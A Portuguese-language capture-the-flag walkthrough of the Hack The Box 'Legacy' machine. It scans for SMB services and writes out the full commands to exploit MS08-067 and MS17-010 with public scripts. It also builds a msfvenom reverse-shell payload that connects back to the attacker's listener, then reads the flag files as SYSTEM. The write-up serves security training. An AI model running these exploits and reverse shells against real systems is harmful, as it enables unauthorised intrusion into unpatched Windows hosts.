Hack the Box – Legacy Writeup (Sem uso do Metasploit)

Hack the Box – Legacy Writeup (Sem uso do Metasploit)

Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Legacy

Descrição

A máquina Legacy é bastante simples para iniciantes que demonstra os potenciais riscos de segurança do serviço SAMBA/SMB no Windows.
Apenas um exploit disponível publicamente é necessário para obter acesso de administrador e iremos os passos a seguir de como explorar este serviço.

Conhecimento requeridos:

  • Conhecimento básico em Windows
  • Enumeração de portas e serviços

Conhecimento que serão aprendidos:

  • Identificação de serviços vulneráveis
  • Exploração do serviço SAMBA/SMB

Reconhecimento

Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”

masscan -p1-65535,U:1-65535 10.10.10.4 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports

Popular a variável “ports” com as portas abertas identificadas

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados

nmap -Pn -sV -sC -p$ports 10.10.10.4

Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.

Resultado do scan:

htb legacy scan

Ao analisarmos esse resultado, podemos concluir que o sistema operacional em uso é o Windows (provavelmente a versão XP), bem como identificar que está sendo utilizado o serviço Samba/SMB na versão 2.

hack the box legacy nmap

Podemos realizar uma nova verificação utilizando o NMAP para identificar possíveis vulnerabilidades no serviço samba/smb.

nmap -script smb-vuln* -p 139,445 10.10.10.4
nmap script smb vuln

Como podemos observar no print acima, a máquina apresenta vulnerabilidades tanto para a ms08-067 (CVE-2008-4250) quanto para a ms17-010 (CVE-2017-0143). Nesse caso, podemos verificar a disponibilidade de um módulo no Metasploit para explorar o serviço em questão.

Exploração através do ms08-067

Realizando uma pesquisa na Internet sobre projetos relacionados à exploração do ms08-067

site:github.com ms08-067 exploit
ms08-067 exploit

Conforme demonstrado no print acima, a comunidade criou diversos projetos para explorar o ms08-067. Para este fim, selecionaremos o script disponível na URL https://gist.github.com/jrmdev/5881544269408edde11335ea2b5438de

Vamos fazer o download do script em nossa máquina:

wget https://gist.githubusercontent.com/jrmdev/5881544269408edde11335ea2b5438de/raw/000546fe015a92e7837d4a82def7c90020d39b08/ms08-067.py

Depois de baixar o script, vamos verificar como utilizá-lo executando o comando abaixo:

python3 ms08-067.py
ms08-067 exploit python

Conforme mostrado no print acima, seu uso é simples. Precisamos informar os seguintes dados:

  • IP da máquina alvo
  • Sistema Operacional
  • Porta para exploração
  • IP da nossa máquina atacante
  • Porta da nossa máquina atacante

Agora que temos tudo pronto, podemos explorar a máquina usando o seguinte comando:

python3 ms08-067.py 10.10.10.4 6 445 10.10.14.19 443

Observação: O endereço IP e a porta da máquina atacante referem-se à máquina utilizada para criar este tutorial. Caso você esteja seguindo os mesmos passos em seu próprio ambiente, por favor ajuste essas informações para o endereço IP e porta de sua própria VPN, além da porta utilizada em modo LISTENING em sua máquina.

Durante a execução do comando acima, um payload será gerado automaticamente para criar um reverse shell. Para avançar, o script pede para abrirmos a porta 443 (porta selecionada para esta exploração) e nos sugere que executemos o comando ’nc -lvp 443’. Após colocar a porta 443 em modo LISTENING, basta pressionar ENTER para continuar.

Observação: Embora possamos usar esses comandos para colocar a porta em modo LISTENING, é recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.

Comandos para instalação caso não possuir o RLWRAP em sua máquina:

sudo apt-get update
sudo apt-get install rlwrap

Colocando a porta 443 em modo LISTENING:

rlwrap nc -lnvp 443
rev shell listener

Após obter a shell, vemos que o comando whoami não funciona no sistema:

reverse shell hack the box legacy

Podemos baixar o static-binary para nossa máquina com o comando abaixo.
Observação: Se você desejar baixar o projeto inteiro em vez de apenas o static-binary do whoami, pode acessar o seguinte link para o repositório: https://github.com/interference-security/kali-windows-binaries

wget https://github.com/interference-security/kali-windows-binaries/raw/master/whoami.exe

Executando whoami.exe

Na nossa máquina, vamos tornar o diretório com o static-binary acessível via SMB usando o utilitário impacket-smbserver:

impacket-smbserver legacy .

Na máquina alvo, vamos executar o whoami.exe a partir da pasta compartilhada via SMB usando o seguinte comando:

\\10.10.14.19\legacy\whoami.exe
whoami hack the box legacy

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.

Exploração através do ms17-010

Ao pesquisar na Internet por projetos relacionados à exploração do ms17-010, encontramos vários projetos disponíveis para a exploração desse vulnerabilidade.

site:github.com ms17-010 exploit
ms17-010 exploit hack the box

Link do repositório: https://github.com/k4u5h41/MS17-010_CVE-2017-0143

Efetuando download do script que iremos usar para a exploração do ms17-010

git clone https://github.com/k4u5h41/MS17-010_CVE-2017-0143.git

Para usar este script, precisaremos criar um reverse-shell com o utilitário msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o rev_10.10.14.19_443.exe

Antes de executarmos o script para exploração do ms17-010, devemos abrir uma porta em LISTENING em nossa máquina atacante:

rlwrap nc -lnvp 443

Agora podemos executar o exploit:

python2 send_and_execute.py 10.10.10.4 rev_10.10.14.19_443.exe
reverse shell legacy hack the box

Após obter a shell, vemos que o comando whoami não funciona no sistema:

htb legacy whoami

Podemos baixar o static-binary para nossa máquina com o comando abaixo.
Observação: Se você desejar baixar o projeto inteiro em vez de apenas o static-binary do whoami, pode acessar o seguinte link para o repositório: https://github.com/interference-security/kali-windows-binaries

wget https://github.com/interference-security/kali-windows-binaries/raw/master/whoami.exe

Executando whoami.exe

Na nossa máquina, vamos tornar o diretório com o static-binary acessível via SMB usando o utilitário impacket-smbserver:

impacket-smbserver legacy .

Na máquina alvo, vamos executar o whoami.exe a partir da pasta compartilhada via SMB usando o seguinte comando:

\\10.10.14.19\legacy\whoami.exe
whoami impacket

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.

Flags do sistema

É necessário validar quais usuários estão ativos na máquina a fim de identificar a localização das nossas flags.

net users
flags hack the box legacy

Agora que sabemos quais usuários estão ativos no sistema, o próximo passo é validar os diretórios do usuário “john” a fim de localizar a flag “user.txt”.
No entanto, antes de iniciar essa busca, é necessário verificar se o sistema possui a estrutura de pastas padrão em “C:\Users”, ou se há alguma outra organização de diretórios.

cd c:\
dir
hack the box legacy writeup

A estrutura de pastas deste sistema difere da organização padrão do Windows, na qual a pasta “Documents and Settings” geralmente contém os arquivos dos usuários.
Dessa forma, podemos utilizar o comando abaixo para varrer a máquina em busca dos arquivos desejados, exibindo a estrutura de pastas em formato de estrutura árvore:

tree /f /a "c:\Documents and Settings"

Arquivos identificados

legacy htb arquivos htb legacy arquivos

Flag user.txt

type "C:\Documents and Settings\john\Desktop\user.txt"
hack the box flag user legacy

Flag root.xt

type "C:\Documents and Settings\Administrator\Desktop\root.txt"
htb flag root legacy

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Hack the Box – Legacy Writeup

Hack the Box – Legacy Writeup

Usaremos Metasploit neste post Hoje veremos o writeup completo da máquina Legacy do Hack The Box!

Ler post completo